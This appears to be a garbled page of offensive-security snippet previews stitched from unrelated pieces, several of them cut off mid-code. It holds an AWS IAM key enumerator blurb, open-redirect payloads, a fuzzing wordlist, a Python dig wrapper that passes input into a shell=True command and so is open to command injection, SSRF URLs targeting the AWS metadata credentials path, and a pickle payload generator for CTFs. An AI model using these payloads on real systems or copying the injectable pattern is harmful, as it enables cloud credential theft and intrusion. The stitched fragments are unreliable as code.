The following code will attempt to enumerate operations that a given set of AWS AccessKeys can perform.
Usage: enumerate-iam.py [OPTIONS]
IAM Account Enumerator.
/http://example.com | |
/%5cexample.com | |
/%2f%2fexample.com | |
/example.com/%2f%2e%2e | |
/http:/example.com | |
/?url=http://example.com&next=http://example.com&redirect=http://example.com&redir=http://example.com&rurl=http://example.com | |
/?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com | |
/?url=/\/example.com&next=/\/example.com&redirect=/\/example.com | |
/redirect?url=http://example.com&next=http://example.com&redirect=http://example.com&redir=http://example.com&rurl=http://example.com | |
/redirect?url=//example.com&next=//example.com&redirect=//example.com&redir=//example.com&rurl=//example.com |
. | |
.. | |
........ | |
@ | |
* | |
*.* | |
*.*.* | |
🎠|
import subprocess | |
import argparse | |
import re | |
import sys | |
import requests | |
def do_dig(domain): | |
command = "dig {} | grep IN".format(domain) | |
try: | |
output = subprocess.check_output(command, shell=True, stdin=subprocess.PIPE, stderr=subprocess.STDOUT) |
.0.0 | |
%00/ | |
.000 | |
.0.0.0 | |
0000 | |
00000 | |
000000 | |
00000000 | |
000000000000.cfg | |
000000000000-directory~.xml |
## IPv6 Tests | |
http://[::ffff:169.254.169.254] | |
http://[0:0:0:0:0:ffff:169.254.169.254] | |
## AWS | |
# Amazon Web Services (No Header Required) | |
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy | |
http://169.254.169.254/latest/user-data | |
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] |
#!/usr/bin/env python | |
''' | |
0xBADCA7 | |
Vodka goes down the throat better with pickle. | |
This script generates pickled object representation. Good for CTFs. | |
Params: [1] function, [2] parameter, [3] pickle type | |
Sample run: |